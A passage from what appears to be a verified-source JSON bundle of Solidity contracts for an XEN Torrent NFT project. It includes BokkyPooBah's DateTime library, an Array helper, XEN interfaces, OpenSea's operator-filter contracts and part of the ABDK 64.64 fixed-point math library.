\",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 